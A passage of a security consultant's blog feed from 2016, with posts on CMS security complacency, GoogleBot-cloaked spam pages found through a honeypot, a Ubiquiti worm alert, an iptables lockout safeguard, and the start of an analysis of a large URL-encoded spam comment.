<p>Out in my barn, I have a 16&rsquo; extension ladder, and the last time I counted, it had about 15 different warning labels stuck on pretty much every flat surface available. (Note: I said, &ldquo;last time I counted,&rdquo; because I wouldn&rsquo;t put it past the manufacturer to sneak in and slap a couple more on every so often - given the overly-litigious society in which we live&hellip;) It&rsquo;s a frickin&rsquo; ladder - a portable &ldquo;tallness&rdquo; device - not rocket science. Yet the manufacturer knows that every year, enough idiots take a header off of those things to keep him in court every day for the rest of his life unless he takes specific precautions to inform everyone &ldquo;bad things happen if you fall off a ladder.&rdquo; (Note: I walk with a rather pronounced limp. I am one of those idiots who failed at the &ldquo;don&rsquo;t fall off&rdquo; stuff. My bad&hellip;)</p>
<p>So, given that a device so simple that it can be replaced by a sufficiently tall pile of &ldquo;stuff&rdquo; requires warning labels printed in three different languages - why do we allow CMS systems like WordPress, Joomla, and Drupal to continue to tell people that setting up and running a website is easy? IT ISN&rsquo;T EASY. <em>It is fraught with peril!</em></p>
<p>&ldquo;Mr. X&rdquo; doesn&rsquo;t want to deal with his website being 0wned, and again, I can&rsquo;t blame him. He was sold a bill of goods - he was promised <em>easy.</em> Even if I could convince him to look a little more deeply at his site, WordPress has, essentially, divorced their concept of &ldquo;pages&rdquo; so far from reality that I can&rsquo;t even show him what&rsquo;s been changed&hellip; all in the name of &ldquo;making it easy.&rdquo;</p>
<p>Seriously, if you don&rsquo;t know nothin&rsquo; &lsquo;bout makin&rsquo; websites, then don&rsquo;t make one.</p>
<p>You have two options:</p>
<ol>
<li>Pay a professional to create and maintain a site for you.</li>
<li>Learn how to do it yourself, without some hand-holding-CMS doing it for you.</li>
</ol>
<p>If you can&rsquo;t find a way to do either of those things, then you likely don&rsquo;t really need a web site.</p>
<p>The big idea is this: the fine folks making WordPress, Joomla, and Drupal have lied to you. They&rsquo;ve focused their message on the idea of <em>&ldquo;easy&rdquo;</em> instead of slapping warning labels on their code&hellip; It&rsquo;s like they&rsquo;ve turned back the clock to the 1950&rsquo;s when ladders didn&rsquo;t come coated in warning labels - because you were supposed to know, all on your own, that falling down and going &ldquo;boom&rdquo; hurts.</p>
<p>Back then, you didn&rsquo;t blame someone else if you fell off of a ladder and today, legally, you can&rsquo;t blame the makers of WordPress if your site gets 0wned and your name gets dragged through the digital mud. You should, the theory goes, have kept up with patching, monitored your site for signs of compromise, and done all sorts of other things that the CMS makers are too busy chanting the word <em>easy</em> to mention. The dirty little secret that the CMS makers don&rsquo;t tell you is that they EXPECT that you already know what you&rsquo;re doing&hellip; their products aren&rsquo;t designed for web-ignoramuses, they&rsquo;re actually designed to make doing the stuff you already know how to do&hellip; easy. They&rsquo;re shortcuts for people who know what they&rsquo;re doing (i.e. know how to keep the main install and plugins up-to-date&hellip; know to choose good passwords&hellip; know to monitor their site for signs of compromise&hellip;). They&rsquo;re tools, designed for people who understand what they&rsquo;re doing - not some sort of website knowledge surrogate for those who don&rsquo;t.</p>
<p>If you don&rsquo;t understand what the tools you&rsquo;re using actually do, you&rsquo;re no different than a monkey with a loaded gun.</p>
<p>And remember&hellip; pulling that trigger? <em>So easy&hellip;</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 12, 2016</p>
<p><em>Addendum: For those who have pointed it out, yes, I know I use a CMS on this site, but <a href="https://gohugo.io/">Hugo</a> really isn’t so much a CMS as it is an offline site generation tool. Besides, I actually do know what I&rsquo;m doing&hellip; <a href="https://yourflyis0pen.com/article/doh/">most of the time</a>.</em></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/cms" term="cms" label="cms" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[The Russian Linking Rings]]></title>
            <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/ubiquiti-device-patch-now/?utm_source=atom_feed" rel="related" type="text/html" title="Ubiquiti Device? Patch Now..." />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
            
                <id>https://yourflyis0pen.com/article/the-russian-linking-rings/</id>
            
            
            <published>2016-05-15T15:55:40-06:00</published>
            <updated>2016-05-15T15:55:40-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>There is a classic magic trick known as The Chinese Linking Rings where apparently solid metal rings appear to link together, unlink, and are made into chains and various fancy patterns. Everyone knows that all the rings aren&rsquo;t solid, but the fun is in how the magician dupes us into not seeing the &ldquo;gimmicked&rdquo; ring.</p>
<p>This is a story of a different kind of linking ring, but just like the magic trick, the fun part is all about how we&rsquo;re duped into not seeing something that is clearly there.</p>
<p>It all started when I noticed that a &ldquo;comment&rdquo; page in the web app portion of one of my honeypots was getting pummeled by a group of about 20 different IP addresses from the 188.143.232.0/24 netblock, located in the city of St. Petersburg, Russia.</p>
<p>Over the course of about 8 hours, the Russians had posted about 14,500 &ldquo;comments&rdquo; to the site (or at least believed they had&hellip;) each one containing some randomly chosen text of a story from the New York Daily News&rsquo; website coupled with a link to a page on various hacked websites selling term papers on various topics.</p>
<p><em>‘Cause really, if you&rsquo;re going to be skeevy enough to buy a term paper, you just know you&rsquo;re going to want to buy one from crazy Russians who use hacked websites and comment spam to boost their search engine presence&hellip;</em></p>
<p><img src="vlad.jpg" alt="Vladimir Putin, shirtless, riding a bear"></p>
<p><em>Russians: When they&rsquo;re not riding bearback (shirtless), or on Dancing With the Stars (shirtless), they&rsquo;re writing and selling term papers (probably shirtless), hacking websites (unquestionably shirtless) and SEO boosting (wearing a shirt, because doing that while shirtless would just be silly&hellip;).</em></p>
<p>Known for their warm, happy-go-lucky nature, these Russian hacking rings also seem to have a bit of a penchant for magic. When I followed one of the links they kindly provided me amidst the newsworthy comments on my web app honeypot, I was surprised to see that it led to what appeared to be an HTTP 404 Error (File Not Found) page:</p>
<p><img src="linking_rings1.png" alt="A 404 (File not found) error"></p>
<p><em>Curious&hellip;</em></p>
<p>Why would those goofy Russians go to all the trouble to put up 14,000+ links pointing to pages that didn&rsquo;t exist? I can only imagine the conversation must&rsquo;ve gone something like this:</p>
<p>Scene: Interior, basement. Two Russian hackers, Ivan and Dmitri, sit facing each other over a wobbly wooden table - shirtless - drinking vodka.</p>
<blockquote>
<p><em>Ivan: &ldquo;I don&rsquo;t know&hellip; what do YOU want to do today?&rdquo;<br>
Dmitri: &ldquo;I don&rsquo;t know&hellip; what do YOU want to do?&rdquo;<br>
Ivan: &ldquo;It&rsquo;s cold in here.&rdquo;<br>
Dmitri: &ldquo;Put on a shirt.&rdquo;<br>
Ivan: &ldquo;No, YOU put on a shirt.&rdquo;<br>
Dmitri: &ldquo;Hey,&hellip; I have an idea! Let&rsquo;s post a whole bunch of comments on the Internet with links that point to non-working pages.&rdquo;<br>
Ivan: &ldquo;Will that make it warmer in here?&rdquo;</em></p>
</blockquote>
<p>On second thought, that seems a little unlikely&hellip;</p>
<p>So, what the heck was going on? I did a little experiment and changed the User-Agent on my browser&rsquo;s request for one of the &ldquo;hacked&rdquo; page to mimic &ldquo;GoogleBot.&rdquo;</p>
<p><em>(For those of you that just went &ldquo;Huh?&hellip;&rdquo;: The &ldquo;User-Agent&rdquo; is a string of text that is sent by your web browser with every request that it makes to a web server. The &ldquo;User-Agent&rdquo; tells the web server what kind of web browser you&rsquo;re using. That way, if the web page has some kind of special &ldquo;stuff&rdquo; that requires it to deliver different types of content for a specific kind of browser - like, for example, the browser on your mobile phone - then it knows to do it. I changed the User-Agent my browser was delivering to mimic the User-Agent that Google&rsquo;s page crawler, GoogleBot, uses when it indexes web pages for including in Google Search.)</em></p>
<p>Suddenly, just like with those pesky Chinese rings&hellip; something magical happened:</p>
<p><img src="linking_rings2.png" alt="No errors - content!"></p>
<p>We just discovered the magician&rsquo;s &ldquo;gimmick.&rdquo; These pages have been cleverly designed so that they show us mere mortals an error page, but the moment Google&rsquo;s page-spidering &ldquo;GoogleBot&rdquo; drops by, they strip off their shirts and make the Motherland proud by contributing to the downfall of the Capitalist educational system one crappy plagiarized term paper at a time.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 15, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Ubiquiti Device? Patch Now...]]></title>
            <link href="https://yourflyis0pen.com/article/ubiquiti-device-patch-now/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="related" type="text/html" title="Toyz From China" />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
            
                <id>https://yourflyis0pen.com/article/ubiquiti-device-patch-now/</id>
            
            
            <published>2016-05-15T14:42:26-06:00</published>
            <updated>2016-05-15T14:42:26-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>If you have any Ubiquiti devices that aren&rsquo;t running at the most current patch level, if those devices are reachable from the Internet, you should patch them IMMEDIATELY.</p>
<p>According to <a href="https://community.ubnt.com/t5/airMAX-General-Discussion/Virus-attack-URGENT-UBNT/td-p/1562940">this thread</a> on Ubiquiti&rsquo;s forum site, there is a worm exploiting unpatched AirOS and other devices. I can confirm that over the past 24 hours, I’ve seen several Ubiquiti devices hitting my SSH honeypots (I&rsquo;ve seen at least one EdgeOS device, but I can’t yet confirm that it&rsquo;s part of the same issue&hellip;)</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 15, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/vulnerabilities" term="vulnerabilities" label="vulnerabilities" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/ssh" term="ssh" label="ssh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Doh!]]></title>
            <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
                <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="related" type="text/html" title="Toyz From China" />
            
                <id>https://yourflyis0pen.com/article/doh/</id>
            
            
            <published>2016-05-14T15:43:30-06:00</published>
            <updated>2016-05-14T15:43:30-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>It was hubris.</p>
<p>There&rsquo;s no other way to describe it: Stupid, dumbass hubris.</p>
<p>This morning, I tried to SSH into one of my honeypots to continue some work I was doing last night before going to bed. I opened my laptop, fired off an SSH connection to the box, aaaand&hellip; nothing.</p>
<p>What the hell?</p>
<p>I tried it again&hellip; nothing.</p>
<p>I fired off a couple of pings&hellip; Hmmmm, the box is alive&hellip;</p>
<p>It was at that point that the other &ldquo;mental&rdquo; shoe dropped.</p>
<p>Doh&hellip;</p>
<p>Last night, the very last thing that I did before logging out was to &ldquo;tweak&rdquo; the iptables firewall rules.</p>
<p>Oh, please&hellip; oh, please&hellip; oh, pleeeeeeease&hellip; tell me I didn&rsquo;t&hellip;</p>
<p>Back in the day, when I was first working in IT, I learned this lesson the hard way, and I&rsquo;m pretty sure that everyone who has done non-trivial IT work has done something similar at some point:</p>
<p>You, dumbass&hellip; You borked the iptables rules and locked yourself out of the box&hellip;</p>
<p>Back when I pulled this dumb stunt for the first time, I&rsquo;d actually learned an important lesson: <em>You are stupid and fallible - remember that always.</em></p>
<p>Part of &ldquo;remembering that always&rdquo; was taking precautions against punching holes in my foot with a firearm:</p>
<ul>
<li><code>cp current_iptables.sh test_iptables.sh</code></li>
<li>[edit test_iptables.sh to add new rules]</li>
<li><code>screen</code></li>
<li><code>sudo test_iptables.sh &amp;&amp; sleep 120 &amp;&amp; sudo current_iptables.sh</code></li>
<li><em>CTRL-A-D</em></li>
<li><code>exit</code></li>
</ul>
<p>Now, try logging back in&hellip; If you can, great! Copy your &ldquo;test&rdquo; rules over to the &ldquo;current&rdquo; rules and run them. If you can&rsquo;t log back in, just wait a couple of minutes&hellip;</p>
<p>But you&rsquo;re not young and stupid forever. At some point, you grow old and&hellip; well&hellip; stupid. Perhaps you actually grow stupider, because you start to believe that you actually know this stuff now and you don&rsquo;t need to take all of those precautions that you took in your youth. You begin to believe you&rsquo;re ten foot tall and bulletproof&hellip; until you&rsquo;re spending a Saturday morning, digging around to find a keyboard and monitor to hook up to the box you locked yourself out of like some dumbass n00b.</p>
<p>And that&rsquo;s when you come to the realization:</p>
<p><em>There&rsquo;s never a time when you&rsquo;re not a dumbass n00b.</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 14, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/tricks" term="tricks" label="tricks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/administrivia" term="administrivia" label="administrivia" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/tricks" term="tricks" label="tricks" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Those Crazy Belgians]]></title>
            <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="related" type="text/html" title="Toyz From China" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
                <link href="https://yourflyis0pen.com/page/about/?utm_source=atom_feed" rel="related" type="text/html" title="About" />
            
                <id>https://yourflyis0pen.com/article/those-crazy-belgians/</id>
            
            
            <published>2016-05-12T15:14:41-06:00</published>
            <updated>2016-05-12T15:14:41-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>* <em>I believe it is important to point out that I see myself as a kindered spirit to the Great Lyle Zapato, and that I fully ascribe to his strongly held belief that <a href="http://zapatopi.net/belgium/">Belgium doesn&rsquo;t exist</a>. Therefore, while I will - for convenience sake - describe the following attack as &ldquo;having originated from Brussels Hoofdstedelijk Gewest, Belgium,&rdquo; we all know that Belgium is, and has always been, a leftist ruse.</em></p>
<p>It all began with some Python code that wouldn&rsquo;t run&hellip;</p>
<p>I have a bunch of Python code that I use to extract various information from my honeypots. One of those scripts dumps out a list of URIs being &ldquo;advertised&rdquo; by comment spammers on some of the fake comment pages in my web app honeypot. Generally, those URIs point to pages that have been added to unsuspecting websites (mostly those running WordPress, <em>The WebApp Hacker&rsquo;s BFF™</em>). Generally, I try to notify as many of those folks as I can and, one day, I fully expect to be cannonized as the Patron Saint of the Hacked Website.</p>
<p>This morning, my script didn&rsquo;t work. More precisely, it just hung&hellip;</p>
<p>After doing a bit of digging, I discovered that one comment in particular was causing things to go awry:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>POST /comments HTTP/1.1\r\n
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate\r\n
</span></span><span style="display:flex;"><span>Accept-Language: en-GB,en;q=0.5\r\n
</span></span><span style="display:flex;"><span>Connection: keep-alive\r\n
</span></span><span style="display:flex;"><span>Content-Length: 3100425\r\n
</span></span><span style="display:flex;"><span>Content-Type: application/x-www-form-urlencoded\r\n
</span></span><span style="display:flex;"><span>Dnt: 1\r\n
</span></span><span style="display:flex;"><span>Host: &lt;redacted&gt;\r\n
</span></span><span style="display:flex;"><span>Referer: http://&lt;redacted&gt;/index\r\n
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0\r\n\r\n
</span></span><span style="display:flex;"><span>comment=%C3%81%2F%C3%8C%C3%BA%7D%C3%8F%40%2C%C3%BD%C3%9D%C3%93_%C3%93%C3%89%C3%97_%C3%82%C3%8E%C2%BB%C2%A4
</span></span><span style="display:flex;"><span>%C2%BD%C2%AA%C3%9C%C3%8F%C2%BA%C3%8B%C3%BE%C2%AC%C3%A5%3B%C2%A5%C2%A4%C3%BE%C3%B3%25%C3%A0%5C%C2%B2%C2%B5
</span></span><span style="display:flex;"><span>%C2%B5%3E%C3%AA%C3%95%2B%C2%A1%C3%91%2B%C3%AF%C3%80%7B%C3%90%C3%AB%28%3D%C3%A6%C2%AB%C3%92_%C3%9A.%C3%87%C3
</span></span><span style="display:flex;"><span>%A0%21%29%C3%B9%C3%8A%23%C3%8A%C3%9C%C3%BF%C3%A7%C2%B4%3F%C2%A9%7B%C3%99%C3%A7%C3%99%C2%B1%C2%B6%C3%96%C3%84
</span></span><span style="display:flex;"><span>%C2%A7%C2%B8%C2%B1*%C2%B8%C3%B7%C3%92%C3%A4%C2%B6%C3%AB%C3%A1+%C2%AB%22%60%C3%94%C2%BD%60%5C%C3%AE%24%C3%BF
</span></span><span style="display:flex;"><span>%C2%AF%21%C2%B1%C3%A3%C2%BD%C3%BF%24%C3%BB%C3%A8%C2%A8%C2%AC%3F%C2%B8%C2%AC%C2%B2%C2%B4%C2%A8%C3%94%C2%BD
</span></span><span style="display:flex;"><span>%C2%A7*%C3%BB%60%C3%94%C3%9A%C3%86%C3%BD%3C%C3%A5%C3%B3%C3%8E%3F%C3%B6%C3%90%C3%8B%C3%8F%29%60%C2%BF%27%C3
</span></span><span style="display:flex;"><span>%B1%C3%83%5C%C2%B8%C3%9D%40%C3%9D%C3%A7%C3%9C%C3%8A%C3%B8%21.%7E%60%C2%B2%C2%A4%7D%C2%BA%C3%A3%3D%C3%B0%C2
</span></span><span style="display:flex;"><span>%BF%C2%AC%C2%B4%C3%A6%C3%88%7E%C3%9B%C2%B7%C2%A2%C3%A9%3D%C3%90%5E%C2%BB%C3%A6%C3%B0%5E%C3%A5%C3%9D%C2%AC%C3
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>%C2%BA%23%C2%A7%C3%AC%C3%B9%5C%C3%85%C2%A1%C3%B0%2C_%40%C3%A3%C3%92%3C%C3%B8%C3%AE%3A%C3%AF%C3%8E%C3%A7%C3
</span></span><span style="display:flex;"><span>%B9%C3%B7%C3%80%C3%B0%C2%B1%C3%86%5C%3F%2B%C2%BC%60%C2%AA%C3%84%C2%B2%C2%BA%C3%B7%C2%A8%C2%A7%60%C2%BC%C2
</span></span><span style="display:flex;"><span>%AB%C2%AF*%7D%C2%BE_%C3%96%C3%9A%5E%5D%C2%BD%C3%90%C3%85%C3%89%C3%B0*%C3%8E%C3%AE%C2%AF%21%C3%A0%C3%86%C3
</span></span><span style="display:flex;"><span>%B0%C3%BA%28%C3%A8%C2%B8%C3%80%C3%92%7D%C3%83%C3%B1%C3%9A%C3%A4%C2%A5%C3%BD%C3%84%C3%B7%C3%99%C2%A6%29%28
</span></span><span style="display:flex;"><span>%2B_%C3%9A%C3%95%26%C2%A1%C3%8F%C3%8D%C3%94&amp;submit=Submit
</span></span></code></pre></div><p>Notice the &ldquo;Content-Length&rdquo; in there&hellip; Yep, that&rsquo;s <em>3 MEGABYTES</em> o&rsquo;comments&hellip; somebody apparently has a lot of stuff to get off their chest. (Kinda like this: I got an Amazon Echo, and three days ago I asked, &ldquo;Alexa, what does it take to make a woman happy?&rdquo; and she hasn&rsquo;t shut up since&hellip;)</p>
<p>So&hellip; what the heck is that? Well, at first glance, it looks to be a chunk of URL encoded data - the bulk of which represent non-ASCII values. (If you look closely, there are a few ‘+&rsquo; and ‘.&rsquo; characters in there&hellip;)</p>
<p>A little creative use of the Linux command line tools <code>head</code> and <code>tail</code> with negative parameters to the -c switch and I&rsquo;d cut out only the URL encoded &ldquo;comment&rdquo; portion of the POST (waaaay easier than trying to deal with a 3MB file in a text editor&hellip;). I hacked together a little Perl code using URL::Encode, and turned all of those percent-encoded numbers back into a binary file in no time.</p>
<p>I opened up the binary file in a hex editor aaaaaand&hellip; nothing. It doesn&rsquo;t look like any file type I&rsquo;ve seen before.</p>
<p>I tossed it to the Linux <code>file</code> command, and it said: UTF-8 Unicode text, with very long lines, with CRLF line terminators</p>
<p>Seriously?!? CRLF line terminators pretty much always means it originated in Windows-land. Just to be sure that file wasn&rsquo;t pulling my leg, I threw together some Python code and &ldquo;histogrammed&rdquo; the byte frequency of the file:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>0x0A = 29
</span></span><span style="display:flex;"><span>0x0D = 29
</span></span><span style="display:flex;"><span>0x21 = 4830
</span></span><span style="display:flex;"><span>0x22 = 4726
</span></span><span style="display:flex;"><span>0x23 = 4800
</span></span><span style="display:flex;"><span>0x24 = 4746
</span></span><span style="display:flex;"><span>0x25 = 4772
</span></span><span style="display:flex;"><span>0x26 = 4715
</span></span><span style="display:flex;"><span>0x27 = 4832
</span></span><span style="display:flex;"><span>0x28 = 4727
</span></span><span style="display:flex;"><span>0x29 = 4816
</span></span><span style="display:flex;"><span>0x2A = 4757
</span></span><span style="display:flex;"><span>0x2B = 9509
</span></span><span style="display:flex;"><span>0x2C = 4723
</span></span><span style="display:flex;"><span>0x2E = 4728
</span></span><span style="display:flex;"><span>0x2F = 4869
</span></span><span style="display:flex;"><span>0x3A = 4801
</span></span><span style="display:flex;"><span>0x3B = 4693
</span></span><span style="display:flex;"><span>0x3C = 4827
</span></span><span style="display:flex;"><span>0x3D = 4785
</span></span><span style="display:flex;"><span>0x3E = 4814
</span></span><span style="display:flex;"><span>0x3F = 4758
</span></span><span style="display:flex;"><span>0x40 = 4712
</span></span><span style="display:flex;"><span>0x5B = 4797
</span></span><span style="display:flex;"><span>0x5C = 4773
</span></span><span style="display:flex;"><span>0x5D = 4724
</span></span><span style="display:flex;"><span>0x5E = 4799
</span></span><span style="display:flex;"><span>0x5F = 4765
</span></span><span style="display:flex;"><span>0x60 = 4789
</span></span><span style="display:flex;"><span>0x7B = 4902
</span></span><span style="display:flex;"><span>0x7C = 4790
</span></span><span style="display:flex;"><span>0x7D = 4834
</span></span><span style="display:flex;"><span>0x7E = 4722
</span></span><span style="display:flex;"><span>0x80 = 4645
</span></span><span style="display:flex;"><span>0x81 = 4845
</span></span><span style="display:flex;"><span>0x82 = 4925
</span></span><span style="display:flex;"><span>0x83 = 4712
</span></span><span style="display:flex;"><span>0x84 = 4686
</span></span><span style="display:flex;"><span>0x85 = 4719
</span></span><span style="display:flex;"><span>0x86 = 4766
</span></span><span style="display:flex;"><span>0x87 = 4855
</span></span><span style="display:flex;"><span>0x88 = 4705
</span></span><span style="display:flex;"><span>0x89 = 4718
</span></span><span style="display:flex;"><span>0x8A = 4608
</span></span><span style="display:flex;"><span>0x8B = 4829
</span></span><span style="display:flex;"><span>0x8C = 4662
</span></span><span style="display:flex;"><span>0x8D = 4805
</span></span><span style="display:flex;"><span>0x8E = 4742
</span></span><span style="display:flex;"><span>0x8F = 4681
</span></span><span style="display:flex;"><span>0x90 = 4715
</span></span><span style="display:flex;"><span>0x91 = 4710
</span></span><span style="display:flex;"><span>0x92 = 4800
</span></span><span style="display:flex;"><span>0x93 = 4775
</span></span><span style="display:flex;"><span>0x94 = 4752
</span></span><span style="display:flex;"><span>0x95 = 4804
</span></span><span style="display:flex;"><span>0x96 = 4716
</span></span><span style="display:flex;"><span>0x97 = 4641
</span></span><span style="display:flex;"><span>0x98 = 4579
</span></span><span style="display:flex;"><span>0x99 = 4666
</span></span><span style="display:flex;"><span>0x9A = 4717
</span></span><span style="display:flex;"><span>0x9B = 4688
</span></span><span style="display:flex;"><span>0x9C = 4780
</span></span><span style="display:flex;"><span>0x9D = 4729
</span></span><span style="display:flex;"><span>0x9E = 4717
</span></span><span style="display:flex;"><span>0x9F = 4755
</span></span><span style="display:flex;"><span>0xA0 = 4693
</span></span><span style="display:flex;"><span>0xA1 = 9572
</span></span><span style="display:flex;"><span>0xA2 = 9423
</span></span><span style="display:flex;"><span>0xA3 = 9610
</span></span><span style="display:flex;"><span>0xA4 = 9605
</span></span><span style="display:flex;"><span>0xA5 = 9555
</span></span><span style="display:flex;"><span>0xA6 = 9452
</span></span><span style="display:flex;"><span>0xA7 = 9695
</span></span><span style="display:flex;"><span>0xA8 = 9481
</span></span><span style="display:flex;"><span>0xA9 = 9300
</span></span><span style="display:flex;"><span>0xAA = 9562
</span></span><span style="display:flex;"><span>0xAB = 9653
</span></span><span style="display:flex;"><span>0xAC = 9464
</span></span><span style="display:flex;"><span>0xAD = 4702
</span></span><span style="display:flex;"><span>0xAE = 9557
</span></span><span style="display:flex;"><span>0xAF = 9500
</span></span><span style="display:flex;"><span>0xB0 = 9631
</span></span><span style="display:flex;"><span>0xB1 = 9324
</span></span><span style="display:flex;"><span>0xB2 = 9501
</span></span><span style="display:flex;"><span>0xB3 = 9559
</span></span><span style="display:flex;"><span>0xB4 = 9453
</span></span><span style="display:flex;"><span>0xB5 = 9411
</span></span><span style="display:flex;"><span>0xB6 = 9647
</span></span><span style="display:flex;"><span>0xB7 = 9506
</span></span><span style="display:flex;"><span>0xB8 = 9584
</span></span><span style="display:flex;"><span>0xB9 = 9470
</span></span><span style="display:flex;"><span>0xBA = 9506
</span></span><span style="display:flex;"><span>0xBB = 9542
</span></span><span style="display:flex;"><span>0xBC = 9691
</span></span><span style="display:flex;"><span>0xBD = 9483
</span></span><span style="display:flex;"><span>0xBE = 9507
</span></span><span style="display:flex;"><span>0xBF = 9535
</span></span><span style="display:flex;"><span>0xC2 = 143203
</span></span><span style="display:flex;"><span>0xC3 = 303418
</span></span></code></pre></div><p>Hmmmm&hellip; So it looks like <code>file</code> is right about the CRLF stuff, but - not to disparage <code>file</code> too much - I&rsquo;ve had <code>file</code> blow sunshine up my skirt a few too many times in the past to completely trust that this is really a well-formed UTF-8 file. And so, we need to &ldquo;whip out&rdquo; a somewhat obscure Linux command just to be sure&hellip;</p>
